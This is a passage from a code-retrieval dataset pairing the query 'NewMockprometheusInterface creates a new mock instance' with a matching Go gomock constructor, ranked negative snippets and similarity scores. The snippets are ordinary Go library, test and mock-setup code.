entry\n\t\t\t\ts.eventsService.LogEventWithContext(ctx, &events.LogEventArgs{\n\t\t\t\t\tEventType: events.ProjectServiceCLADisabled,\n\t\t\t\t\tProjectID: projectSFID,\n\t\t\t\t\tCLAGroupID: claGroupID,\n\t\t\t\t\tLfUsername: authUser.UserName,\n\t\t\t\t\tEventData: &events.ProjectServiceCLADisabledData{},\n\t\t\t\t})\n\t\t\t}\n\t\t}(psc, claGroupID, projectSFID)\n\t}\n\t// Wait until all go routines are done\n\twg.Wait()\n\n\tif len(errorList) > 0 {\n\t\tlog.WithFields(f).WithError(errorList[0]).Warnf(\"encountered %d errors when disabling CLA service for %d projects\", len(errorList), len(projectSFIDList))\n\t\treturn errorList[0]\n\t}\n\n\tlog.WithFields(f).Debugf(\"disabled %d projects successfully for CLA Group\", len(projectSFIDList))\n\treturn nil\n}", "func (s *DeviceService) Stop(force bool) {\n\tif s.initialized {\n\t\t_ = s.driver.Stop(false)\n\t}\n\tautoevent.GetManager().StopAutoEvents()\n}", "func TestDisablePool(t *testing.T) {\n\tpoolA := mkPool(poolAUID, \"pool-a\", []string{\"10.0.10.0/24\"})\n\tfixture := mkTestFixture([]*cilium_api_v2alpha1.CiliumLoadBalancerIPPool{\n\t\tpoolA,\n\t}, true, true, nil)\n\n\tfixture.coreCS.Tracker().Add(\n\t\t&slim_core_v1.Service{\n\t\t\tObjectMeta: slim_meta_v1.ObjectMeta{\n\t\t\t\tName: \"service-a\",\n\t\t\t\tNamespace: \"default\",\n\t\t\t\tUID: serviceAUID,\n\t\t\t},\n\t\t\tSpec: slim_core_v1.ServiceSpec{\n\t\t\t\tType: slim_core_v1.ServiceTypeLoadBalancer,\n\t\t\t},\n\t\t},\n\t)\n\n\tawait := fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 1 {\n\t\t\tt.Error(\"Expected service to receive exactly one ingress IP\")\n\t\t\treturn true\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tgo fixture.hive.Start(context.Background())\n\tdefer fixture.hive.Stop(context.Background())\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\treturn true\n\t}, 500*time.Millisecond)\n\n\tpoolA.Spec.Disabled = true\n\n\t_, err := fixture.poolClient.Update(context.Background(), poolA, meta_v1.UpdateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !await.Block() {\n\t\tt.Fatal(\"Unexpected service status update\")\n\t}\n\n\tif !fixture.lbIPAM.rangesStore.ranges[0].externallyDisabled {\n\t\tt.Fatal(\"The range has not been externally disabled\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif svc.Name != \"service-b\" {\n\t\t\tt.Error(\"Expected service status update to occur on service-b\")\n\t\t\treturn true\n\t\t}\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 0 {\n\t\t\tt.Error(\"Expected service to receive no ingress IPs\")\n\t\t\treturn true\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tserviceB := &slim_core_v1.Service{\n\t\tObjectMeta: slim_meta_v1.ObjectMeta{\n\t\t\tName: \"service-b\",\n\t\t\tNamespace: \"default\",\n\t\t\tUID: serviceBUID,\n\t\t},\n\t\tSpec: slim_core_v1.ServiceSpec{\n\t\t\tType: slim_core_v1.ServiceTypeLoadBalancer,\n\t\t},\n\t}\n\n\t_, err = fixture.svcClient.Services(\"default\").Create(context.Background(), serviceB, meta_v1.CreateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n\n\tawait = fixture.AwaitService(func(action k8s_testing.Action) bool {\n\t\tif action.GetResource() != servicesResource || action.GetVerb() != \"patch\" {\n\t\t\treturn false\n\t\t}\n\n\t\tsvc := fixture.PatchedSvc(action)\n\n\t\tif svc.Name != \"service-b\" {\n\t\t\treturn false\n\t\t}\n\n\t\tif len(svc.Status.LoadBalancer.Ingress) != 1 {\n\t\t\treturn false\n\t\t}\n\n\t\treturn true\n\t}, time.Second)\n\n\tpoolA.Spec.Disabled = false\n\n\t_, err = fixture.poolClient.Update(context.Background(), poolA, meta_v1.UpdateOptions{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif await.Block() {\n\t\tt.Fatal(\"Expected service status update\")\n\t}\n}", "func (manager *NetworkPolicyManager) CheckRemovedService(_, serv *core_v1.Service) {\n\tlogger.Infof(\"[Network Policies Manager](CheckRemovedService) Service %s has been removed. Going to check for policies...\", serv.Name)\n\tmanager.checkService(serv, \"delete\")\n}", "func (doWebAuthn WebAuthn) Disable() (err error) {\n\tb := webauthn.Disable()\n\treturn b.Do(doWebAuthn.ctxWithExecutor)\n}", "func (c *ChromeNetwork) Disable() (*ChromeResponse, error) {\n\treturn sendDefaultRequest(c.target.sendCh, &ParamRequest{Id: c.target.getId(), Method: \"Network.disable\"})\n}", "func (doLog Log) Disable() (err error) {\n\tb := log.Disable()\n\treturn b.Do(doLog.ctxWithExecutor)\n}", "func (device *ServoBrick) Disable(servoNum uint8) (err error) {\n\tvar buf bytes.Buffer\n\tbinary.Write(&buf, binary.LittleEndian, servoNum)\n\n\tresultBytes, err := device.device.Set(uint8(FunctionDisable), buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 8 {\n\t\t\treturn fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 8)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tbytes.NewBuffer(resultBytes[8:])\n\n\t}\n\n\treturn nil\n}", "func (d *Driver) Disable() {\n\td.p.DisableIRQ(1 << ENDTX)\n\td.p.StoreENABLE(false)\n}", "func (o AiFeatureStoreEntityTypeMonitoringConfigSnapshotAnalysisOutput) Disabled() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v AiFeatureStoreEntityTypeMonitoringConfigSnapshotAnalysis) *bool { return v.Disabled }).(pulumi.BoolPtrOutput)\n}", "func Disable() {\n\tlogger.mu.Lock()\n\tdefer logger.mu.Unlock()\n\tlogger.enabled = false\n}", "func DisableHook(pTarget uintptr) (err error) {\r\n\tret, _, _ := syscall.Syscall(uintptr(C.MH_DisableHook), 1, pTarget, 0, 0)\r\n\treturn _Status(ret).ToError()\r\n}" ]
[ "0.7361837", "0.6796233", "0.6551762", "0.64271516", "0.63770247", "0.6296474", "0.6294039", "0.6270218", "0.6259181", "0.62142766", "0.6147002", "0.61373216", "0.61373216", "0.6096906", "0.60926974", "0.60199624", "0.6012118", "0.60061735", "0.5995434", "0.5995434", "0.5995434", "0.59527266", "0.5946253", "0.5926047", "0.59005487", "0.5890374", "0.5865544", "0.58639926", "0.58457613", "0.58330595", "0.5795034", "0.578866", "0.5775648", "0.57714194", "0.5749284", "0.5742973", "0.56903154", "0.5682715", "0.5665788", "0.5660351", "0.5652369", "0.5650757", "0.56436586", "0.5611992", "0.5605412", "0.5598735", "0.55964035", "0.5587168", "0.55813915", "0.5571594", "0.5571044", "0.55703944", "0.5562473", "0.55389667", "0.5527339", "0.55170226", "0.55136245", "0.55085593", "0.5497496", "0.5494449", "0.54857016", "0.5484291", "0.54787284", "0.54765964", "0.54759556", "0.5474067", "0.54740065", "0.54623824", "0.5455926", "0.5447346", "0.543322", "0.5429875", "0.54272926", "0.5424626", "0.5416948", "0.54141146", "0.54065907", "0.53825444", "0.5382137", "0.5380577", "0.5379103", "0.53734684", "0.53670347", "0.5365249", "0.5353363", "0.53521603", "0.53482956", "0.5344613", "0.5342808", "0.53410476", "0.5340413", "0.5331027", "0.5323864", "0.5306319", "0.53058535", "0.53041077", "0.53015924", "0.5295911", "0.52851874", "0.5277699" ]
0.71649337
1
NewMockprometheusInterface creates a new mock instance
func NewMockprometheusInterface(ctrl *gomock.Controller) *MockprometheusInterface { mock := &MockprometheusInterface{ctrl: ctrl} mock.recorder = &MockprometheusInterfaceMockRecorder{mock} return mock }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewMock() *MockMetrics {\n\treturn &MockMetrics{}\n}", "func newMockSubscriber() mockSubscriber {\n\treturn mockSubscriber{}\n}", "func NewMockInterface(t mockConstructorTestingTNewMockInterface) *MockInterface {\n\tmock := &MockInterface{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "func NewMockHealthReporter() *MockHealthReporter {\n\treturn &MockHealthReporter{\n\t\tnotify: make(chan Update),\n\t}\n}", "func NewMock() *Mock {\n\treturn &Mock{VolumesMock: &VolumesServiceMock{}}\n}", "func New() (*mock, error) {\n\treturn &mock{\n\t\tConfigService: ConfigService{},\n\t\tContainerService: ContainerService{},\n\t\tDistributionService: DistributionService{},\n\t\tImageService: ImageService{},\n\t\tNetworkService: NetworkService{},\n\t\tNodeService: NodeService{},\n\t\tPluginService: PluginService{},\n\t\tSecretService: SecretService{},\n\t\tServiceService: ServiceService{},\n\t\tSystemService: SystemService{},\n\t\tSwarmService: SwarmService{},\n\t\tVolumeService: VolumeService{},\n\t\tVersion: Version,\n\t}, nil\n}", "func NewMockDefault() *Mock {\n\tmgr := new(Mock)\n\tvar pluginsMap = make(map[string]managerContracts.Plugin)\n\tvar cwPlugin = managerContracts.Plugin{\n\t\tHandler: cloudwatch.NewMockDefault(),\n\t}\n\tpluginsMap[CloudWatchId] = cwPlugin\n\n\tmgr.On(\"GetRegisteredPlugins\").Return(pluginsMap)\n\tmgr.On(\"Name\").Return(CloudWatchId)\n\tmgr.On(\"Execute\", mock.AnythingOfType(\"context.T\")).Return(nil)\n\tmgr.On(\"RequestStop\", mock.AnythingOfType(\"string\")).Return(nil)\n\tmgr.On(\"StopPlugin\", mock.AnythingOfType(\"string\"), mock.Anything).Return(nil)\n\tmgr.On(\"StartPlugin\", mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"string\"), mock.AnythingOfType(\"task.CancelFlag\")).Return(nil)\n\treturn mgr\n}", "func NewMock() *Mock {\n\treturn &Mock{\n\t\tData: MockData{\n\t\t\tUptime: true,\n\t\t\tFile: true,\n\t\t\tTCPResponse: true,\n\t\t\tHTTPStatus: true,\n\t\t},\n\t}\n}", "func NewPrometheus(base *url.URL, client *promclient.Client) *Prometheus {\n\treturn &Prometheus{\n\t\tbase: base,\n\t\tclient: client,\n\t}\n}", "func NewMock(now time.Time) *Mock {\n\treturn &Mock{\n\t\tnow: now,\n\t\tmockTimers: &timerHeap{},\n\t}\n}", "func NewMock(t *testing.T) *MockT { return &MockT{t: t} }", "func NewMock(response string) *Operator {\n\treturn &Operator{cli: client.NewMock(response)}\n}", "func NewPrometheus(base *url.URL, client *promclient.Client, extLabels func() labels.Labels) *Prometheus {\n\treturn &Prometheus{\n\t\tbase: base,\n\t\tclient: client,\n\t\textLabels: extLabels,\n\t}\n}", "func NewPrometheus(namespace string, incFactory incrementer.Factory, stFactory state.Factory) *Prometheus {\n\tclient := &Prometheus{\n\t\tnamespace: namespace,\n\t\tincFactory: incFactory,\n\t\tstFactory: stFactory,\n\t\tincrements: make(map[string]incrementer.Incrementer),\n\t\tstates: make(map[string]state.State),\n\t\thistograms: make(map[string]*prometheus.HistogramVec),\n\t}\n\treturn client\n}", "func NewMockDataRegistryService_CreateOrUpdateMetricsServer(t mockConstructorTestingTNewMockDataRegistryService_CreateOrUpdateMetricsServer) *MockDataRegistryService_CreateOrUpdateMetricsServer {\n\tmock := &MockDataRegistryService_CreateOrUpdateMetricsServer{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "func registerMock(name string, priority CollectorPriority) *MockCollector {\n\tc := &MockCollector{}\n\tfactory := func() Collector { return c }\n\tregisterCollector(name, factory, priority)\n\treturn c\n}", "func New(cfg *Config,\n\tapiManager apimanager.Provider,\n\tlogger logger.Logger, registerer prometheus.Registerer) (Provider, error) {\n\tservice := &MockServer{\n\t\tcfg: cfg,\n\t\tregisterer: registerer,\n\t\tapiManager: apiManager,\n\t\tLogger: logger.NewLogger(\"httpMockServer\"),\n\t}\n\treturn service, nil\n}", "func (m *MockprometheusInterface) EXPECT() *MockprometheusInterfaceMockRecorder {\n\treturn m.recorder\n}", "func New() *Mock {\n\treturn &Mock{\n\t\tm: mockMap{},\n\t\toldTransport: http.DefaultTransport,\n\t}\n}", "func NewPrometheus() *prometheus {\n\tconf, err := config.LoadFromFile(*configFile)\n\tif err != nil {\n\t\tglog.Fatalf(\"Error loading configuration from %s: %v\", *configFile, err)\n\t}\n\n\tunwrittenSamples := make(chan clientmodel.Samples, *samplesQueueCapacity)\n\n\tingester := &retrieval.MergeLabelsIngester{\n\t\tLabels: conf.GlobalLabels(),\n\t\tCollisionPrefix: clientmodel.ExporterLabelPrefix,\n\t\tIngester: retrieval.ChannelIngester(unwrittenSamples),\n\t}\n\ttargetManager := retrieval.NewTargetManager(ingester)\n\ttargetManager.AddTargetsFromConfig(conf)\n\n\tnotificationHandler := notification.NewNotificationHandler(*alertmanagerURL, *notificationQueueCapacity)\n\n\to := &local.MemorySeriesStorageOptions{\n\t\tMemoryChunks: *numMemoryChunks,\n\t\tPersistenceStoragePath: *persistenceStoragePath,\n\t\tPersistenceRetentionPeriod: *persistenceRetentionPeriod,\n\t\tPersistenceQueueCapacity: *persistenceQueueCapacity,\n\t\tCheckpointInterval: *checkpointInterval,\n\t\tCheckpointDirtySeriesLimit: *checkpointDirtySeriesLimit,\n\t\tDirty: *storageDirty,\n\t}\n\tmemStorage, err := local.NewMemorySeriesStorage(o)\n\tif err != nil {\n\t\tglog.Fatal(\"Error opening memory series storage: \", err)\n\t}\n\n\truleManager := manager.NewRuleManager(&manager.RuleManagerOptions{\n\t\tResults: unwrittenSamples,\n\t\tNotificationHandler: notificationHandler,\n\t\tEvaluationInterval: conf.EvaluationInterval(),\n\t\tStorage: memStorage,\n\t\tPrometheusURL: web.MustBuildServerURL(),\n\t})\n\tif err := ruleManager.AddRulesFromConfig(conf); err != nil {\n\t\tglog.Fatal(\"Error loading rule files: \", err)\n\t}\n\n\tvar remoteTSDBQueue *remote.TSDBQueueManager\n\tif *remoteTSDBUrl == \"\" {\n\t\tglog.Warningf(\"No TSDB URL provided; not sending any samples to long-term storage\")\n\t} else {\n\t\topenTSDB := opentsdb.NewClient(*remoteTSDBUrl, *remoteTSDBTimeout)\n\t\tremoteTSDBQueue = remote.NewTSDBQueueManager(openTSDB, 512)\n\t}\n\n\tflags := map[string]string{}\n\tflag.VisitAll(func(f *flag.Flag) {\n\t\tflags[f.Name] = f.Value.String()\n\t})\n\tprometheusStatus := &web.PrometheusStatusHandler{\n\t\tBuildInfo: BuildInfo,\n\t\tConfig: conf.String(),\n\t\tRuleManager: ruleManager,\n\t\tTargetPools: targetManager.Pools(),\n\t\tFlags: flags,\n\t\tBirth: time.Now(),\n\t}\n\n\talertsHandler := &web.AlertsHandler{\n\t\tRuleManager: ruleManager,\n\t}\n\n\tconsolesHandler := &web.ConsolesHandler{\n\t\tStorage: memStorage,\n\t}\n\n\tmetricsService := &api.MetricsService{\n\t\tConfig: &conf,\n\t\tTargetManager: targetManager,\n\t\tStorage: memStorage,\n\t}\n\n\twebService := &web.WebService{\n\t\tStatusHandler: prometheusStatus,\n\t\tMetricsHandler: metricsService,\n\t\tConsolesHandler: consolesHandler,\n\t\tAlertsHandler: alertsHandler,\n\t}\n\n\tp := &prometheus{\n\t\tunwrittenSamples: unwrittenSamples,\n\n\t\truleManager: ruleManager,\n\t\ttargetManager: targetManager,\n\t\tnotificationHandler: notificationHandler,\n\t\tstorage: memStorage,\n\t\tremoteTSDBQueue: remoteTSDBQueue,\n\n\t\twebService: webService,\n\t}\n\twebService.QuitDelegate = p.Close\n\treturn p\n}", "func mockedGranter(kubeutil *kube.Kube, app *v1.RadixRegistration, namespace string, serviceAccount *corev1.ServiceAccount) error {\n\treturn nil\n}", "func NewPrometheus() *Prometheus {\n\treturn &Prometheus{}\n}", "func NewMock() Cache {\n\treturn &mock{}\n}", "func NewMockOpInterface(ctrl *gomock.Controller) *MockOpInterface {\n\tmock := &MockOpInterface{ctrl: ctrl}\n\tmock.recorder = &MockOpInterfaceMockRecorder{mock}\n\treturn mock\n}", "func newCustomMetrics() ICustomMetrics {\n\n\tcounters := make(map[string]prometheus.Counter)\n\tgauges := make(map[string]prometheus.Gauge)\n\tsummaries := make(map[string]prometheus.Summary)\n\thistograms := make(map[string]prometheus.Histogram)\n\n\treturn &customMetrics{\n\t\tcounters: counters,\n\t\tgauges: gauges,\n\t\tsummaries: summaries,\n\t\thistograms: histograms,\n\t}\n}", "func NewMock() *Mock {\n\treturn &Mock{now: time.Unix(0, 0)}\n}", "func New(prometheusURL string) *Client {\n\treturn &Client{\n\t\trc: resty.New().\n\t\t\tSetHostURL(prometheusURL + \"/api/v1\").\n\t\t\tSetLogger(ioutil.Discard).\n\t\t\tSetRetryCount(3).\n\t\t\tSetTimeout(10 * time.Second),\n\t}\n}", "func (m *podMetrics) New() runtime.Object {\n\treturn &metrics.PodMetrics{}\n}", "func NewMockPromMetrics(ctrl *gomock.Controller) *MockPromMetrics {\n\tmock := &MockPromMetrics{ctrl: ctrl}\n\tmock.recorder = &MockPromMetricsMockRecorder{mock}\n\treturn mock\n}", "func newGauge(namespace, subsystem, name string, labelNames []string, client *statsd.Statter, isPrometheusEnabled bool) *Gauge {\n\topts := prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: subsystem,\n\t\tName: name,\n\t}\n\tvec := prometheus.NewGaugeVec(opts, labelNames)\n\tif isPrometheusEnabled {\n\t\tprometheus.MustRegister(vec)\n\t}\n\n\treturn &Gauge{\n\t\twatcher: vec,\n\t\tlabels: labelNames,\n\t\tclient: client,\n\t\tprefix: strings.Join([]string{namespace, subsystem, name}, \".\"),\n\t}\n}", "func NewRegistry(registry *prometheus.Registry) MetricsRegistry {\n\treturn &promRegistryFacade{Registry: registry}\n}", "func NewMockmonitorInterface(ctrl *gomock.Controller) *MockmonitorInterface {\n\tmock := &MockmonitorInterface{ctrl: ctrl}\n\tmock.recorder = &MockmonitorInterfaceMockRecorder{mock}\n\treturn mock\n}", "func newTimer(namespace, subsystem, name string, labelNames []string, client *statsd.Statter, isPrometheusEnabled bool) *Timer {\n\topts := prometheus.HistogramOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: subsystem,\n\t\tName: name,\n\t}\n\tvec := prometheus.NewHistogramVec(opts, labelNames)\n\tif isPrometheusEnabled {\n\t\tprometheus.MustRegister(vec)\n\t}\n\treturn &Timer{\n\t\twatcher: vec,\n\t\tlabels: labelNames,\n\t\tclient: client,\n\t\tprefix: strings.Join([]string{namespace, subsystem, name}, \".\"),\n\t}\n}", "func NewMockMetrics(ctrl *gomock.Controller) *MockMetrics {\n\tmock := &MockMetrics{ctrl: ctrl}\n\tmock.recorder = &MockMetricsMockRecorder{mock}\n\treturn mock\n}", "func NewMockMetrics(ctrl *gomock.Controller) *MockMetrics {\n\tmock := &MockMetrics{ctrl: ctrl}\n\tmock.recorder = &MockMetricsMockRecorder{mock}\n\treturn mock\n}", "func NewMockMetrics(ctrl *gomock.Controller) *MockMetrics {\n\tmock := &MockMetrics{ctrl: ctrl}\n\tmock.recorder = &MockMetricsMockRecorder{mock}\n\treturn mock\n}", "func NewMockMetrics(ctrl *gomock.Controller) *MockMetrics {\n\tmock := &MockMetrics{ctrl: ctrl}\n\tmock.recorder = &MockMetricsMockRecorder{mock}\n\treturn mock\n}", "func NewMockMetrics(ctrl *gomock.Controller) *MockMetrics {\n\tmock := &MockMetrics{ctrl: ctrl}\n\tmock.recorder = &MockMetricsMockRecorder{mock}\n\treturn mock\n}", "func NewMockReplacer(\n\tctx context.Context,\n\tregion string,\n\tprofile string) *Replacer {\n\n\tasgroup := newAsg(region, profile)\n\tdeploy := fsm.NewDeploy(\"start\")\n\tasgroup.Ec2Api = &mockEC2iface{}\n\tasgroup.AsgAPI = &mockASGiface{}\n\tasgroup.EcsAPI = &mockECSiface{}\n\treturn &Replacer{\n\t\tctx: ctx,\n\t\tasg: asgroup,\n\t\tdeploy: deploy,\n\t}\n}", "func NewPrometheus(subsystem string, customMetricsList ...[]*Metric) *Prometheus {\n\n\tvar metricsList []*Metric\n\n\tif len(customMetricsList) > 1 {\n\t\tpanic(\"Too many args. NewPrometheus( string, <optional []*Metric> ).\")\n\t} else if len(customMetricsList) == 1 {\n\t\tmetricsList = customMetricsList[0]\n\t}\n\n\tfor _, metric := range standardMetrics {\n\t\tmetricsList = append(metricsList, metric)\n\t}\n\n\tp := &Prometheus{\n\t\tMetricsList: metricsList,\n\t\tMetricsPath: defaultMetricPath,\n\t\tReqCntURLLabelMappingFn: func(c *gin.Context) string {\n\t\t\treturn c.Request.URL.String() // i.e. by default do nothing, i.e. return URL as is\n\t\t},\n\t}\n\n\tp.registerMetrics(subsystem)\n\n\treturn p\n}", "func MockGetMetricStatistics(t *testing.T, mockMatcher *sdk.MockCloudWatchAPI, metric float64, statistic string, numberOfMetrics int) {\n\tlog.Logger.Warningf(\"Mocking AWS iface: GetMetricStatistics\")\n\tif numberOfMetrics == 0 {\n\t\tnumberOfMetrics = 1\n\t}\n\n\tresult := &cloudwatch.GetMetricStatisticsOutput{}\n\tresult.Label = aws.String(\"fake\")\n\tresult.Datapoints = make([]*cloudwatch.Datapoint, numberOfMetrics)\n\tfor i := 0; i < numberOfMetrics; i++ {\n\t\td := &cloudwatch.Datapoint{}\n\n\t\tswitch statistic {\n\t\tcase cloudwatch.StatisticMaximum:\n\t\t\td.Maximum = aws.Float64(metric)\n\t\tcase cloudwatch.StatisticMinimum:\n\t\t\td.Minimum = aws.Float64(metric)\n\t\tcase cloudwatch.StatisticSum:\n\t\t\td.Sum = aws.Float64(metric)\n\t\tcase cloudwatch.StatisticSampleCount:\n\t\t\td.SampleCount = aws.Float64(metric)\n\t\tcase cloudwatch.StatisticAverage:\n\t\t\td.Average = aws.Float64(metric)\n\t\tdefault:\n\t\t\tt.Fatalf(\"Wrong metric statistic: %s\", statistic)\n\t\t}\n\t\td.Timestamp = aws.Time(time.Now().UTC())\n\t\td.Unit = aws.String(cloudwatch.StandardUnitPercent)\n\t\tresult.Datapoints[i] = d\n\t}\n\n\t// Mock as expected with our result\n\tmockMatcher.EXPECT().GetMetricStatistics(gomock.Any()).Do(func(input interface{}) {\n\t\tgotInput := input.(*cloudwatch.GetMetricStatisticsInput)\n\t\t// Check API received parameters are fine\n\t\tif aws.StringValue(gotInput.Namespace) == \"\" {\n\t\t\tt.Fatalf(\"Expected namespace, got nothing\")\n\t\t}\n\n\t\tif aws.StringValue(gotInput.MetricName) == \"\" {\n\t\t\tt.Fatalf(\"Expected metric name, got nothing\")\n\t\t}\n\n\t\tif aws.StringValue(gotInput.Unit) == \"\" {\n\t\t\tt.Fatalf(\"Expected unit, got nothing\")\n\t\t}\n\n\t\tif len(gotInput.Statistics) != 1 {\n\t\t\tt.Fatalf(\"Wrong statistics name\")\n\t\t}\n\n\t}).AnyTimes().Return(result, nil)\n\n}", "func MockMetrics() []optic.Metric {\n\tmetricsEvents := make([]optic.Metric, 0)\n\tmetricsEvents = append(metricsEvents, TestMetric(1.0))\n\treturn metricsEvents\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockInterface(ctrl *gomock.Controller) *MockInterface {\n\tmock := &MockInterface{ctrl: ctrl}\n\tmock.recorder = &MockInterfaceMockRecorder{mock}\n\treturn mock\n}", "func NewMockRegistry(ctrl *gomock.Controller) *MockRegistry {\n\tmock := &MockRegistry{ctrl: ctrl}\n\tmock.recorder = &MockRegistryMockRecorder{mock}\n\treturn mock\n}", "func (_m *MockBackend) PrometheusMetrics() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "func (m *MockWatcherConstructor) New(arg0 Machine, arg1 string, arg2 []string, arg3, arg4, arg5 string, arg6 time.Duration, arg7 map[string]interface{}) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"New\", arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func NewMetrics(ns string) *Metrics {\n\tres := &Metrics{\n\t\tInfo: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: ns,\n\t\t\t\tName: \"info\",\n\t\t\t\tHelp: \"Informations about given repository, value always 1\",\n\t\t\t},\n\t\t\t[]string{\"module\", \"goversion\"},\n\t\t),\n\t\tDeprecated: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: ns,\n\t\t\t\tName: \"deprecated\",\n\t\t\t\tHelp: \"Number of days since given dependency of repository is out-of-date\",\n\t\t\t},\n\t\t\t[]string{\"module\", \"dependency\", \"type\", \"current\", \"latest\"},\n\t\t),\n\t\tReplaced: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: ns,\n\t\t\t\tName: \"replaced\",\n\t\t\t\tHelp: \"Give information about module replacements\",\n\t\t\t},\n\t\t\t[]string{\"module\", \"dependency\", \"type\", \"replacement\", \"version\"},\n\t\t),\n\t\tStatus: promauto.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: ns,\n\t\t\t\tName: \"status\",\n\t\t\t\tHelp: \"Status of last analysis of given repository, 0 for error\",\n\t\t\t},\n\t\t\t[]string{\"repository\"},\n\t\t),\n\t\tDuration: promauto.NewGauge(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: ns,\n\t\t\t\tName: \"duration\",\n\t\t\t\tHelp: \"Duration of last analysis in second\",\n\t\t\t},\n\t\t),\n\t\tRegistry: prometheus.NewRegistry(),\n\t}\n\n\tres.Registry.Register(res.Info)\n\tres.Registry.Register(res.Deprecated)\n\tres.Registry.Register(res.Replaced)\n\tres.Registry.Register(res.Status)\n\tres.Registry.Register(res.Duration)\n\treturn res\n}", "func NewPrometheusMetrics(namespace string, registry metrics.RegisterGatherer) *prometheusMetrics {\n\tm := &prometheusMetrics{\n\t\tregistry: registry,\n\t}\n\n\tm.AvailableIPs = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: \"available_ips\",\n\t\tHelp: \"Total available IPs on Node for IPAM allocation\",\n\t}, []string{LabelTargetNodeName})\n\n\tm.UsedIPs = prometheus.NewGaugeVec(prometheus.GaugeOpts{\n\t\tNamespace: namespace,\n\t\tSubsystem: ipamSubsystem,\n\t\tName: 